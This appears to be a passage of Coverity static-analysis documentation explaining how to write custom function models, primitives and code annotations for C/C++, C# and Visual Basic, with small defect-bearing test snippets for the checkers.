/* Derived class Apple */
class Apple: public Fruit {
int color();
}
/* In a model file, a model based on derived class Apple. */
class Apple {
int color() { what_color_should_do();}
};
/* Testing the analysis with and without setting --enable-virtual. */
void test(Fruit *f, Apple *a) {
// Without --enable-virtual set:
// Call to f->color() is unimplemented.
// With --enable-virtual set:
// Call to f->color() resolves to the model and to Lemon::color.
f->color();
// Call to a->color() always resolves to the model
// regardless of whether you set --enable-virtual.
a->color();
}For more information about the --enable-virtual option, see the
cov-analyze documentation in the Coverity 2018.09 Command Reference
.
You enable analysis of calls to function pointers using the
--enable-fnptr option to the cov-analyze
command. This option increases the false positive rate by
approximately 10-20%. Although the --enable-fnptr option analyzes
most calls to function pointers, in some cases calls to function pointers may not be
analyzed for defects. The flow of functions through casts, for example, is not
tracked by the analysis. For these function calls, you can use explicit function
pointer models to find more defects.
Modeling function pointers
To model function pointers:
Create a model with the following naming convention. If the function pointer is a global variable:
__coverity_fnptr_<variable>
If the function pointer is a field in a structure:
__coverity_fnptr_<type>_<field>
For example, the following pointer functions have the model names that are noted in the comments:
struct aStruct {
void (*ABC)(int);
void (*ZYX)(int);
};
int (*INT)(void);
struct aStruct glStruct;
void testfn(struct aStruct *s) {
int x;
x = INT(); // call to __coverity_fnptr_INT
glStruct.ABC(x); // call to __coverity_fnptr_aStruct_ABC
s->ZYX(x); // call to __coverity_fnptr_aStruct_ZYX
}In this model, use a primitive to specify the behavior of the function pointer. For example, the following C code has two function pointers:
struct memory {
void *(*get)(size_t);
void (*put)(void *);
};
void test(struct memory *m, int l, int x) {
int *p;
p = m->get(l);
if (!x)
return; // resource leak of p
m->put(p);
m->put(p); // double free of p
}By default, the analysis does not find the two defects. However, with the following models, both defects are reported:
void *__coverity_fnptr_memory_get(int l) {
return __coverity_alloc__(l);
}
void __coverity_fnptr_memory_put(void *p) {
__coverity_free__(p);
}Run the cov-make-library command.
Run the cov-analyze command with the
--fnptr-models option.
You can write models for templates: this includes template functions and member functions for template classes.
To model a template, you write it as a nontemplate within a namespace called
_coverity_template_. The model must have the same number of
parameters as the template; but the types do not need to be the same, in particular
because it would be impossible to reference the template parameter in these types.
As a result, it's only possible to model a single template function overload for a
given number of parameters.
For example, given this template:
template <typename T> class MyClass {
T *alloc(); // returns allocated memory
};You would need to write something like the following to create a model for it:
namespace __coverity_template__
{
class MyClass {
void *alloc() { return __coverity_alloc_nosize__(); }
};
}Note that it is still possible to write models for specific instantiations (overloaded or not) by instantiating a template in a model file: For example,
template <typename T> class MyClass {
T *alloc() { return 0; }
};
// Explicitly instantiate for "int"
template class MyClass<int>;These specific instnatiations have priority over the
_coverity_template_.
The directory contains the source for the
models shipped with Coverity Analysis. You can alter these models and re-compile them with the
<install_dir_sa>/library cov-make-library command. To add new models, create a file with stub
functions representing the behavior of the functions you wish to add.
![]() | |
Do not use the files in the |
You can build a model using either Coverity primitives or from existing library functions
(for example: malloc, calloc, and
fopen). The following sections list the primitives you can use in
your custom models, along with their meanings and example usages. You can find the files
referenced as examples in
.<install_dir_sa>/library/generic/common/
Models a function that returns a dynamically allocated block of memory. The function's only argument determines its size. The RESOURCE_LEAK checker uses this primitive to identify which pointers refer to memory that must be freed. SIZE_CHECK and OVERRUN use it to determine if the allocated size is correct.
For an example, see the function malloc in the file
<install_dir>/library/generic/libc/all/all.c.
Models a function that returns a dynamically allocated block of memory without size information. Used when you are looking for RESOURCE_LEAK errors but are not interested in buffer overruns.
For an example, see the function fopen in the file
file.c.
Closes a handle. Used to model file handle allocation for the RESOURCE_LEAK and USE_AFTER_FREE checkers.
Models a call to operator delete. In addition to memory
deallocation semantics, this will cause an error if __coverity_new_array__ allocated
this memory. The DELETE_ARRAY checker uses this primitive.
Models a call to operator delete[]. In addition to memory
deallocation semantics, this will cause an error if __coverity_new__ allocated this
memory. The DELETE_ARRAY checker uses this primitive.
Models a function that saves its argument (for example, in a global variable) so it can be freed later. The analysis will not report a resource leak on such an argument once it escapes.
Frees its argument. Indicates to the USE_AFTER_FREE and RESOURCE_LEAK checkers
that a pointer is freed. For an example, see the function free
in <install_dir>/library/generic/libc/all/all.c.
Models a function that cannot take a negative number as an argument. Used in
conjunction with other models to indicate that negative arguments are invalid. For
example, see the size argument in
<install_dir>/library/generic/libc/all/all.c.
Models a call to operator new. In addition to memory
allocation semantics, this will cause an error if
__coverity_delete_array__ later frees this memory. The
DELETE_ARRAY checker uses this primitive.
Models a call to operator new[]. In addition to memory
allocation semantics, this will cause an error if __coverity_delete__ later frees
this memory. The DELETE_ARRAY checker uses this primitive.
Creates a handle that needs to be closed. Used to model file handle allocation for the RESOURCE_LEAK and USE_AFTER_FREE checkers.
Models a function that ends the execution of the current path.
For an example, see the function abort in the file
killpath.c.
Indicates to the STACK_USE checker that the function and its callees should not use more memory (in bytes) than specified by the constant integer max_memory. This feature is useful for situations where threads are created with different stack sizes. The primitive should be used in the thread entry-point function.
![]() | |
Note that this primitive is called from your source code, not from model source. |
You need to declare this primitive in your code at the top of the tree for which
you intend to specify a limit. For example, you might add the following to a
coverity.h header file:
#ifdef __COVERITY__ #ifdef __cplusplus extern "C" #endif void __coverity_stack_depth__(unsigned long); #else #define __coverity_stack_depth__(x) 0 #endif
Then you can include the declaration in a file that contains the thread entry
function, for example, threadentry.c:
#include "coverity.h"
// ...
void thread_entry() {
// You need to add this to your source code. It can appear anywhere
// in the function. Only one such call is allowed per function.
__coverity_stack_depth__(MAX_THREAD_STACK_BYTES);
// Implement thread entry
}Indicates the invalid use of a handle if the handle has been previously closed. Used to model file handle allocation for the RESOURCE_LEAK and USE_AFTER_FREE checkers.
Indicates to the TAINTED_STRING checker that a function is a format string sink.
The following model indicates that custom_printf() is a
format string sink with respect to its argument format. This
model is similar to the model for the standard C function
printf:
void custom_printf(const char *format, ...) {
__coverity_format_string_sink__(format);
}Indicates to the SECURE_CODING checker that a function should not be used.
This model indicates that at every call to
outdated_copy_function, a warning appears informing the
developer that this function should be avoided and replaced with
updated_copy_function. For example:
int outdated_copy_function(void *arg) {
__coverity_secure_coding_function__("buffer overflow",
"outdated_function() makes no guarantee of safety.",
"Use updated_copy_function() instead.",
"VERY RISKY");
}Indicates to the STRING_NULL checker that a function could assign an argument to a character array without null-termination. For example:
void custom_packet_read(char *s) {
__coverity_string_null_argument__(s);
}Indicates to the STRING_NULL checker that a function returns a character array that is not null-terminated. For example:
char *custom_network_read() {
return __coverity_string_null_return__();
}Indicates to the STRING_NULL checker that a function must be protected from strings that are not null-terminated. For example:
void custom_string_replace(char *s, char c, char x) {
__coverity_string_null_sink__(s);
}Indicates to the STRING_NULL checker that a function's arguments must be protected from non-null-terminated strings.
The following model indicates that the second argument on onward must be
null-terminated before being passed to the custom_vararg()
function:
void custom_vararg(char *s, char *format, ...) {
__coverity_string_null_sink_vararg__(2);
}Indicates to the STRING_SIZE checker that a function returns a string of arbitrary size and must be length-checked before use. For example:
string custom_string_return() {
return __coverity_string_size_return__();
}Indicates to the STRING_SIZE checker that a function correctly sanitizes a string's length.
In the following example, the size_check() function returns
1 when the string has been sanitized with respect to its
size, and 0 otherwise:
int size_check(char *s) {
int ok_size;
if (ok_size == 1) {
__coverity_string_size_sanitize__(s);
return 1;
} else {
return 0;
}
}Indicates to the STRING_SIZE checker that a function is a string size sink and must be protected from arbitrarily large strings.
void *custom_string_process(const char *s) {
__coverity_string_size_sink__(s);
}Indicates to the STRING_SIZE checker that a function's arguments must be length-checked before being passed those arguments. For example:
void custom_vararg(char *s, char *format, ...) {
__coverity_string_size_sink_vararg__(2);
}Indicates to the TAINTED_SCALAR checker and the INTEGER_OVERFLOW checker that a function taints its argument.
This model indicates custom_read() taints its argument
buf. The POSIX read interface is modeled with a similar
stub function:
void custom_read(int fd, void *buf) {
__coverity_tainted_data_argument__(buf);
}Indicates to the TAINTED_SCALAR checker and the INTEGER_OVERFLOW checker that a function returns tainted data.
This model indicates that packet_get_int() returns tainted
data and should be tracked as such:
unsigned int packet_get_int() {
return __coverity_tainted_data_return__();
}Makes the TAINTED_SCALAR checker treat the provided value as though it is untainted.
The following model indicates to the checker that it should no longer track
s.x (or s.y) as tainted if
check_value() returns 1:
struct S { int x, y; };
int check_value(struct S *s) {
int is_ok;
if (is_ok) {
__coverity_tainted_data_sanitize__(*(void **)s);
return 1;
} else {
return 0;
}
}Test code:
struct S { int x, y; };
void test() {
int array[10];
struct S s;
read(0, &s, sizeof(s));
if (check_value(&s)) {
// no bug here
array[s.x] = 1;
} else {
// TAINTED_SCALAR reported
array[s.x] = 1;
}
}Indicates to the TAINTED_SCALAR checker and the INTEGER_OVERFLOW checker that a function is a tainted data sink for an argument.
This model indicates custom_write() is a tainted data sink
for argument count. The POSIX write interface is modeled with a similar stub
function:
void custom_write(int fd, const void *buf, size_t count) {
__coverity_tainted_data_sink__(count);
}Used by a tainted data checker to a model function that propagates taintedness from one argument to another.
The next model indicates that custom_copy() will transitively taint
argument dest based on the tainted state of argument src
(and only if n != 0). The standard C interface memcpy is modeled with a similar stub
function.
void *custom_copy(void *dest, void *src, size_t n) {
if (n != 0) {
__coverity_tainted_data_transitive__(dest, src);
}
return dest;
}Used by the TAINTED_SCALAR checker to model functions that transitively taint a
return value based on the taintedness of an argument, for example
atoi().
For example:
// if b was tainted, get_int returns tainted data
// get_int pulls an integer out of some buffer
int get_int(struct buffer *b) {
return __coverity_tainted_data_transitive_return__(b->x);
}Indicates to the TAINTED_SCALAR checker that a function transitively taints one argument if other arguments are tainted.
The following model indicates that custom_sprintf()
transitively taints argument 0 if any argument from
2 onward is tainted. The standard C interface
sprintf is modeled with a similar stub function.
void custom_sprintf(char *str, const char *format, ...) {
__coverity_tainted_data_transitive_vararg_inbound__(0,2);
}Indicates to the TAINTED_SCALAR checker that a function transitively taints arguments if a specific argument is tainted.
The following model indicates that custom_sscanf()
transitively taints arguments 2 and onward if argument
0 is tainted:
void custom_sscanf(const char *str, const char *format, ...) {
__coverity_tainted_data_transitive_vararg_outbound__(2, 0);
}Indicates to the TAINTED_STRING checker that a function taints its argument.
The following model indicates that custom_string_read()
taints its argument s:
char *custom_string_read(char *s, int size, FILE *stream) {
__coverity_tainted_string_argument__(s);
return s;
}Indicates to the TAINTED_STRING checker that a function returns a tainted string.
The following model indicates that packet_get_string()
returns a tainted string. This model is similar to the model used for the POSIX call
getenv:
void *packet_get_string() {
return __coverity_tainted_string_return_content__();
}Indicates to the TAINTED_STRING checker whether a function can sanitize an argument.
The following model indicates that s will be sanitized when
custom_sanitize() returns true, else
it will not be cleansed in cases where the function returns
false:
bool custom_sanitize(const char *s) {
bool ok_string;
if (ok_string == true) {
__coverity_tainted_string_sanitize_content__(s);
return true;
}
return false;
}Indicates to the TAINTED_STRING checker that a function is a tainted string sink with respect to its argument.
The following model indicates that custom_db_command() is a
tainted string sink with respect to its argument command:
void custom_db_command(const char *command) {
__coverity_tainted_string_sink_content__(command);
}Indicates, in a constructor, that a wrapper class is a proxy for operations on the real lock.
For example:
struct Lock;
struct AutoLock {
nsAutoLock(Lock *a) {
__coverity_lock_alias__(this, a);
__coverity_exclusive_lock_acquire__(this);
}
~nsAutoLock() {
__coverity_exclusive_lock_release__(this);
}
void lock() {
__coverity_exclusive_lock_acquire__(this);
}
void unlock() {
__coverity_exclusive_lock_release__(this);
}
};You can re-write the model for a function in the library so that it accurately reflects the function's behavior. The only challenge in this approach is that you must make sure that the mangled name of the function in the library matches the mangled name of the function in the actual source code (this restriction is only relevant for C++ code). To do so, simply make sure that the type signatures match (by name). For example, if one of the arguments to the function that you are attempting to override is a structure pointer, you must either include the definition for that structure in your library file or make a dummy structure with an exact name match in your library file. Note that mangled names include type names (for example, struct foo), but they do not include the structure's contents.
As a simple example, suppose that you want to override the default model for the
function malloc such that it returns allocated memory but it
can never return NULL. To do so, create a file called
my_memory_allocators.c, in which you put the new definition
of the function malloc. The new version of malloc is as
follows:
void *malloc(unsigned n) {
return __coverity_alloc__(n);
}The library function __coverity_alloc__ is pre-configured to
return dynamically allocated memory, but it does not return a
NULL pointer in any case. As a point of reference, here is
the shipped model for malloc that does return
NULL in the out of memory case:
void *malloc(size_t size) {
int has_memory;
__coverity_negative_sink__(size);
if(has_memory)
return __coverity_alloc__(size);
else
return 0;
}The default model for malloc also indicates that the size
parameter should not be negative. Also, the model simulates the out of memory
behavior by switching on the uninitialized variable has_memory.
Doing so allows Coverity Analysis to assume that any call to malloc could return either
NULL or non-NULL. Because this code
for malloc is only a model, it does not matter that this code
is not "correct" C programming.
To install this new model for malloc, compile this file into
a format read by the analysis:
> cov-make-library -of memory_models.xmldb my_memory_allocators.c
After running this step, the following test case no longer reports a
NULL_RETURNS defect if you invoke
cov-analyze with a command line switch pointing to the
generated
models:
typedef struct _FILE {
} FILE;
void test() {
FILE* f = 0;
int *p = (int*)malloc(10);
*p = 0;
// Leak the pointer.
f = fopen("file.txt", "w");
// Leak the file.
}
The cov-analyze command is invoked as
follows:
> cov-analyze --dir /tmp/tmp-intermediate \ --user-model-file memory_models.xmldb
You do not have to put all models in a single file. The
cov-make-library command can take any number of files on the
command line.
If Coverity Analysis generates many false positives after you analyze your code, there might be missing killpath function models. A killpath function is a function that terminates execution.
Missing killpath functions cause false positives when Coverity Analysis uses an
assert() to infer that a condition is possible, but the
assert() actually says it is
impossible. For example:
int test1(int *p) {
assert(p != NULL);
return *p;
}If killpath functions are modeled correctly, Coverity Analysis sees:
assert(p != NULL)
and realizes that p must be non-NULL to continue execution. However,
if a killpath is missing, when Coverity Analysis analyzes test1(), it
will treat it the same as:
int test1(int *p) {
if (p != NULL) {}
return *p;
}Coverity Analysis assumes that the killpath is missing if the program does not use the standard
assert() function, but instead uses an
assert() function that a developer wrote and that does
not actually abort or Coverity Analysis does not see that it aborts. In either case, Coverity Analysis
concludes that p can be NULL (otherwise why test it with the
if statement?), and it reports the subsequent dereference as a
FORWARD_NULL. Missing killpaths lead to false positives when Coverity Analysis
treats an asserted condition as plausibly being false.
Most functions that abort execution, such as exit() and
kabort(), are modeled using the library mechanism described
earlier and the primitive library function
__coverity_panic__. The file
<install_dir_sa>/library/generic/common/killpath.c lists
these types of functions that are currently modeled in the system. In general, the
best way to add more functions with killpaths is to enhance the library by writing
stubs that either call the primitive or one of the existing library functions.
Adding a killpath to the special_abort function
To add another killpath to a special_abort
function:
Create a model for special_abort in the file
kill.c:
void special_abort(const char* msg) {
__coverity_panic__();
}Generate a new model for special_abort to suppress
the RESOURCE_LEAK defect in the following test
case:
void test() {
int *p = (int*)malloc(10);
*p = 0; // No defect due to overridden malloc
special_abort("we are done - no leak");
}Generate the models for the new function by using the
cov-make-library command. To include the models
from my_memory_allocators.c:
> cov-make-library kill.c my_memory_allocators.c
Analyze the example and verify there are no defects:
> cov-analyze --dir /tmp/tmp-intermediate
Check that there are no defects produced by Coverity Analysis in any of the
*.errors.xml files generated in the current
directory.
If you are trying to add a macro that aborts execution to the library, you must
first tell the Coverity compiler to change that macro into a function call using the
#nodef
feature of the Coverity compiler.
Alternatively, you can use function annotations to specify that all paths through a function are killpaths.
Even if you are overriding user models, you still might not eliminate all false positives. However, for analyses, you can also use code annotations to suppress false positives on untriaged CIDs. Starting in version 7.0, annotations effect defects that have the Unclassified or Pending classification in Coverity Connect but otherwise have no effect on defects that have already been triaged manually.
![]() | |
These annotations are only supported with C/C++ code analyses. There are no code annotations for parse warnings. |
Code annotations are placed immediately before the line of code where the defect
occurs. As an example, suppose the system detects that the x
local variable can be NULL when it is dereferenced in the
following code:
x = NULL; ... *x = 0; /* foo.c line 20 */
When Coverity Analysis analyzes this code, a
defect is displayed in Coverity Connect. This defect contains an event with the tag
FORWARD_NULL
var_deref_op. The message describing the event appears in
Coverity Connect in red and is displayed on the line immediately preceding the event. In this
case, just before line 20 in the file foo.c. If this defect is
a false positive, you can suppress it with a commented code annotation containing
the text coverity[var_deref_op] immediately before the
dereference:
x = NULL; ... // coverity[var_deref_op] *x = 0; /* foo.c line 20 */
When Coverity Analysis checks the code again, the
defect is automatically annotated with the classification
FORWARD_NULL
Intentional, and the defect commit step automatically reads
and annotates the bug in Coverity Connect.
A code annotation always appears at the beginning of a C comment (/*
coverity[...]... ) or a C++ comment (//
coverity[...]... ) and applies to the first line of code after the
comment that is neither empty (white space) nor a comment.
![]() | |
You can apply multiple // coverity[baz] // coverity[foo] // coverity[bar] /* coverity[qux] */ nobug(); The example does not exclude |
Code annotations result in defect events being ignored. It is possible that
multiple defects share a single event and ignoring the event will suppress more than
one defect. Because of this, you should only use code annotations to suppress
critical, unshared events or ones you are sure Coverity Analysis has incorrectly identified. You
can identify a critical event through its description. For example, the event
description [Variable "x" tracked as NULL was dereferenced]
indicates a critical event, while the event description [Added "x" due to
comparison "x == 0"] is informational and indicates a shareable
event. Each defect's documentation lists the critical events you can suppress if a
defect is a false positive.
In Coverity Connect, an ignored defect has an Intentional
classification. In addition to Intentional, one other
classification is supported using code annotation: FALSE. For
example, the following code annotation lists a FORWARD_NULL
defect with Coverity Connect classification FALSE:
x = NULL; ... // coverity[var_deref_op : FALSE] *x = 0; /* foo.c line 20 */
Function models are generated automatically during Coverity static analysis, and can be overridden by user models and by Coverity library models. You can enhance automatically generated models by adding function annotations to your source, and you can enhance your user models in the same way.
You can use function annotations to enhance function models. Function models
determine how function calls are treated during analysis. A function annotation's
format is similar to a code annotation's: it
appears at the beginning of a C comment (/* coverity[+...]... )
or a C++ comment (// coverity[+...]... ) and before the
function definition. The function annotation applies to the next function
definition.
For example, the following annotation specifies that all paths through
special_abort() are killpaths:
// coverity[+kill]
void special_abort(const char* msg)
{ ... }
Three tags can appear within coverity[...] in a function
annotation:
+kill: Specifies that a function always aborts.
+alloc: Specifies that a function either always
returns allocated memory or stores allocated memory in an
argument.
+free tag : Specifies that a function always frees
memory passed in as an argument.
As an example of an allocation function annotation, the following specifies that
my_alloc() always returns memory:
// coverity[+alloc]
void* my_alloc(size_t size)
{ ... }
When a function annotation specifies that memory is always allocated to a
dereference of a function's n position argument, you must include
the string arg-*n after a colon following the annotation's tag.
Arguments are numbered 0..n as they appear from left to right. For example, the
following specifies that my_alloc() always assigns memory to
its dereferenced zero position argument (p).
// coverity[+alloc : arg-*0]
void my_alloc0(void **p, size_t size)
{ ... }
Function annotations with the +free tag must always specify an
argument, which is assigned the memory to be freed. Whether this argument is
dereferenced is optional. For example, the following specifies that
my_free() always frees memory assigned to its first
position argument (memory_to_free) without a
dereference:
// coverity[+free : arg-1]
void my_free(void** arg, void* memory_to_free)
{ ... }
You can use function annotations instead of the__coverity_panic__() or __coverity_alloc__() library function calls when the specified behavior affects all paths of a function.
When you precede a function annotation tag with coverity[-...],
you can use it to suppress a function's model rather than enhance it. For example,
the following suppresses the allocation behavior of
my_alloc1():
// coverity[-alloc]
void* my_alloc1(size_t size)
{ return malloc(10); }
Coverity Analysis will not check that the memory allocated with
my_alloc1() is free'd. This might be useful, for instance,
if the code is allocating memory for global variables that isn't free'd until the
program ends.
You can use all the tags listed in this section in a suppressing function annotation.
The concurrency checkers support the following library functions:
Linux kernel library:
_raw_spin_lock
_raw_spin_unlock
_spin_lock
_spin_unlock
_spin_lock_irqsave
_spin_unlock_irqrestore
_spin_lock_irq
_spin_unlock_irq
FreeBSD kernel library:
mtx_lock_spin
mtx_unlock_spin
mtx_lock
mtx_unlock
mtx_destroy
Green Hills Software ThreadX:
tx_mutex_get
tx_mutex_put
tx_semaphore_get
tx_semaphore_put
POSIX pthreads library:
pthread_mutex_lock
pthread_mutex_unlock
pthread_mutex_trylock
pthread_rwlock_rdlock
pthread_rwlock_tryrdlock
pthread_rwlock_wrlock
pthread_rwlock_trywrlock
pthread_rwlock_unlock
pthread_spin_lock
pthread_spin_unlock
pthread_spin_trylock
sem_post
sem_wait
sem_trywait
Win32 API:
EnterCriticalSection
LeaveCriticalSection
Wind River VxWorks library:
intLock
intUnlock
semTake
semGive
The concurrency models that are shipped with Coverity Analysis are located in the
directory, and in the
<install_dir_sa>/library/concurrency
file.<install_dir_sa>/config/default_models.concurrency.xml
![]() | |
When modeling concurrency primitives that involve locks, you need to model the
acquisition and release of the lock. For example, you should model both
This practice avoids false positive reports by the LOCK checker. |
The primitives that can be used to configure the model library are:
__coverity_exclusive_lock_acquire__(L): Indicates that
the exclusive lock L is acquired.
__coverity_exclusive_lock_release__(L): Indicates that
the exclusive lock L is released.
__coverity_recursive_lock_acquire__(L): Indicates that
the recursive lock L is acquired.
__coverity_recursive_lock_release__(L): Indicates that
the recursive lock L is released.
__coverity_assert_locked__(L): Assert that lock L is
held.
__coverity_sleep__(): Indicates that the calling function
may take a long time to complete or otherwise block.
When you use the cov-make-library command to configure the models,
make sure to use the --concurrency option, as shown in Section 6.1.11.1.1, “Example of a new model”.
If you have a function other than those in the standard libraries that the
concurrency checker supports, you can add a stub function that describes the correct
behavior and use the cov-make-library command to add that
function for Coverity Analysis. If you have an exclusive lock function called
foo_lock, for example, you can write a model for it as
follows:
void foo_lock(void **l) {
__coverity_exclusive_lock_acquire__(*l);
}To release the lock, you can write a model as follows:
void foo_unlock(void **l) {
__coverity_exclusive_lock_release__(*l);
}You then add the models as follows:
> cov-make-library --concurrency foo_lock.c
> cov-make-library --concurrency foo_unlock.c
These models indicate that the foo_lock function locks the
dereference of the first parameter, and the foo_unlock function
releases that lock. This pattern holds for aforementioned concurrency locking
functions, which receive a pointer to the lock data structure.
You create models in C# or Visual Basic for the same reasons that you create them for Java (see Section 6.3.1, “Adding Java Models”). The procedure for adding them to the analysis differs slightly.
To add new models:
Import the relevant primitives.
The Coverity primitives for C# and Visual Basic are part of the
Coverity.Primitives namespace.
Coverity Analysis provides an assembly that contains the primitives in
.<install_dir>/library/primitives.dll
For descriptions of the primitives, see Section 6.2.1.3, “C# and Visual Basic Primitives”.
Add stub methods that represent the behavior of the methods that you want to add.
For the model to be applied correctly, the namespace name, class name, number and names of type parameters, method name, method parameter types, and return type must match.
Compile the class and register the model. Use the cov-make-library command for this
purpose.
For general guidance, see the Java example in Section 6.3.1.2, “Modeling resource leaks”.
Use the cov-analyze command to run the analysis with
the new model.
Example:
> cov-analyze --dir <intermediate_directory> --user-model-file ../user_models.xmldbThe analysis reports defects (SENSITIVE_DATA_LEAK, UNENCRYPTED_SENSITIVE_DATA, and WEAK_PASSWORD_HASH) when it detects unsafe uses of sensitive data. Many common sources of sensitive data are built-in, but additional defects might be found by identifying additional application-specific sources.
The methods that return sensitive data can be modeled using the
Security.SensitiveSource primitives described in Section 6.2.1.3, “C# and Visual Basic Primitives”.
The following model indicates that the GetLoginInfo method
returns both sensitive user identifier and password information.
Example 6.1. C#:
using Coverity.Primitives;
using System.Collections.Generic;
List<string> GetLoginInfo()
{
Security.SensitiveSource(SensitiveDataType.Password);
Security.SensitiveSource(SensitiveDataType.UserId);
return new List<string>();
}Example 6.2. Visual Basic:
Imports Coverity.Primitives
Imports System
Imports System.Collections.Generic
Function GetLoginInfo() As List(Of String)
Security.SensitiveSource(SensitiveDataType.Password)
Security.SensitiveSource(SensitiveDataType.UserId)
Return New List(Of String)()
End FunctionThe following model indicates that GetSessionId writes a
sensitive session identifier into its byte array parameter.
Example 6.3. C#:
void GetSessionId(byte [] token)
{
Security.SensitiveSource(token, SensitiveDataType.SessionId);
}Example 6.4. Visual Basic:
Sub GetSessionId(token() As Byte)
Security.SensitiveSource(token, SensitiveDataType.SessionId)
End SubYou can use the following Security primitives (described in Section 6.2.1.3, “C# and Visual Basic Primitives”) to model untrusted data sources:
Security.HttpSource(Object)
Security.HttpSource()
Security.HttpMapValuesSource(Object)
Security.HttpMapValuesSource()
Security.NetworkSource(Object)
Security.NetworkSource()
Security.DatabaseSource(Object)
Security.DatabaseSource()
Security.DatabaseObjectSource()
Security.FileSystemSource(Object)
Security.FileSystemSource()
Security.ConsoleSource(Object)
Security.ConsoleSource()
Security.EnvironmentSource(Object)
Security.EnvironmentSource()
Security.SystemPropertiesSource(Object)
Security.SystemPropertiesSource()
Security.RpcSource(Object)
Security.RpcSource()
Security.CookieSource()
Security.CookieSource(Object)
The zero-argument source primitives are used to model a method that returns a string-like or simple collection object that the analysis treats as tainted data.
The single-argument source primitives are used to model a method that taints a string-like or simple collection parameter (presumably by inserting a tainted string or sequence of characters into it). The primitive argument must be one of the modelled method's parameters.
Each variant corresponds to a particular taint type that can be trusted or
distrusted using the cov-analyze "trust" and "distrust"
command line options (for example, --distrust-http and
--distrust-http), which are described in the
Coverity 2018.09 Command Reference
.
Simulates acquiring a lock on the object provided.
Parameters:
o - The object to be modeled as a lock being locked.
See also:
Concurrency.Unlock(Object)
Simulates acquiring a lock (by a monitor) on the object provided.
Typically, Concurrency.Lock(Object) is the preferable means of representing lock semantics, as LockByMonitor models subtly different behavior, and is applicable only to Monitor objects.
Parameters:
o - The object to be modeled as a monitor lock being locked.
Simulates a 'wait' operation on the object provided that might return after a timeout and before a 'pulse' on the object.
Parameters:
o - The object subject to the wait operation.
See also:
Concurrency.Wait(Object)
Simulates releasing a lock on the object provided.
Parameters:
o - The object to be modeled as a lock being unlocked.
See also:
Concurrency.Lock(Object)
Simulates releasing a lock (by a monitor) on the object provided.
Typically, Concurrency.Unlock(Object) is the preferable means of representing unlock semantics, as UnlockByMonitor models subtly different behavior, and is applicable only to Monitor objects.
Parameters:
o - The object to be modeled as a monitor lock being unlocked.
Simulates a 'wait' operation on the object provided, which can block indefinitely for a 'pulse' on the object.
Parameters:
o - The object subject to the wait operation.
See also:
Concurrency.TimedWait(Object)
Indicates that the object provided as the first parameter (to) is to be considered an alias for the object provided as the second parameter (from) To this extent, closing the object referred to in the first parameter (to) is understood to close the object in the second parameter (from). This is typically used to model a class that contains, and properly manages, a member which also has open and close semantics. Analysis understands that closing the containing class closes the contained member as well.
Parameters:
to - The object aliased to another object.
from - The object being aliased.
See also:
Reference.Open(Object)
Reference.Close(Object)
Indicates that the object provided is to be considered closed. A closed object should have been previously opened. If o is a resource previously opened, it no longer needs closing. Calls to this primitive are typically inserted where closing of the resource is handled.
Parameters:
o - The object being closed.
See also:
Reference.Open(Object)
Indicates that the object given is considered to escape. An escaped object is no longer tracked by analysis. The value passed in may or may not flow to, and be used in, other parts of the program. Also implies a 'Close' due to bug 65768.
Parameters:
o - The object being escaped.
Indicates that the object given is considered to escape. An escaped object is no longer tracked by analysis. The value passed in may or may not flow to, and be used in, other parts of the program.
Parameters:
o - The object being escaped.
Indicates that the object provided (o) is a resource to be considered open (and thus should be subsequently closed.)
Parameters:
o - The object being opened.
See also:
Reference.Close(Object)
Indicates that this method is associated with actions that often require authentization. The MISSING_AUTHZ checker will only report defects when such methods are called.
Indicates that this method modifies the database and should be protected by a cross-site request forgery check. If it is not, the CSRF checker may report a defect.
Indicates that this method modifies the filesystem and should be protected by a cross-site request forgery check. If it is not, the CSRF checker may report a defect.
Indicates that this method checks the validity of an anti-forgery token. The checker will consider request handlers that call this method to be safe.
Marks its parameter as flowing into a method that treats it as the arguments to an operating system command like 'System.Diagnostics.Process.Start(String fileName, String arguments))' does. The OS_CMD_INJECTION checker reports defects when tainted data flows into this primitive. Use this primitive to model a sink for OS_CMD_INJECTION that takes a single string, parses it, and uses it as arguments to a new process.
Parameters:
o - Arguments to the process to be executed.
Marks its parameter as flowing into a method that treats it as an application filename and runs it as an operating system command like 'System.Diagnostics.Process.Start(String fileName)' does. The OS_CMD_INJECTION checker reports defects when tainted data flows into this primitive. Use this primitive to model a sink for OS_CMD_INJECTION that takes a single string, and runs it.
Parameters:
o - The filename of the application to be executed.
Returns an object of arbitrary type that the analysis treats as tainted data from the console. Use this primitive to model a method that returns tainted data from the console.
Marks its parameter as containing tainted data from the console. Use this primitive to model a method that appends tainted data from the console into one of its parameters.
Parameters:
o - The parameter to be tainted.
Returns an object of arbitrary type that the analysis treats as tainted data from a cookie. Use this primitive to model a method that returns tainted data from a cookie.
Marks its parameter as containing tainted data from a a cookie. Use this primitive to model a method that appends tainted data from a cookie into one of its parameters.
Parameters:
o - The parameter to be tainted.
Use this primitive to model a method that returns an Object that is populated with tainted data from the database, for example using an ORM (object-relational mapping). When the analysis sees the return value cast to a user type, all members of that instance will be treated as tainted data. If any of the these members are themselves user data types, the taint will be recursively applied to them.
Use this primitive to model a method that populates a parameter with tainted data from the database, for example using an ORM (object-relational mapping). When the analysis sees the callsite argument cast to a user type, all members of that instance will be treated as tainted data. If any of the these members are themselves user data types, the taint will be recursively applied to them.
Parameters:
o - The parameter to be tainted.
Returns an object of arbitrary type that the analysis treats as tainted data from a database. Use this primitive to model a method that returns tainted data from a database.
Marks its parameter as containing tainted data from a database. Use this primitive to model a method that appends tainted data from a database into one of its parameters.
Parameters:
o - The parameter to be tainted.
Returns an object of arbitrary type that the analysis treats as tainted data from the environment. Use this primitive to model a method that returns tainted data from the environment.
Marks its parameter as containing tainted data from the environment. Use this primitive to model a method that appends tainted data from the environment into one of its parameters.
Parameters:
o - The parameter to be tainted.
Returns an object of arbitrary type that the analysis treats as tainted data from the filesystem. Use this primitive to model a method that returns tainted data from the filesystem.
Marks its parameter as containing tainted data from the filesystem. Use this primitive to model a method that appends tainted data from the filesystem into one of its parameters.
Parameters:
o - The parameter to be tainted.
Marks its parameter as flowing into a method that consumes it as a connection string. The HARDCODED_CREDENTIALS checker reports a defect if a constant string is used as the password in the connection string.
Parameters:
o - The object that contains the credentials.
Marks its parameter as flowing into a method that consumes it as a crytographic key. The HARDCODED_CREDENTIALS checker reports a defect if a source-code-embedded constant string is passed to it.
Parameters:
o - The object that contains the credentials.
Marks its parameter as flowing into a method that consumes it as a password. The HARDCODED_CREDENTIALS checker reports a defect if a source-code-embedded constant string is passed to it.
Parameters:
o - The object that contains the password.
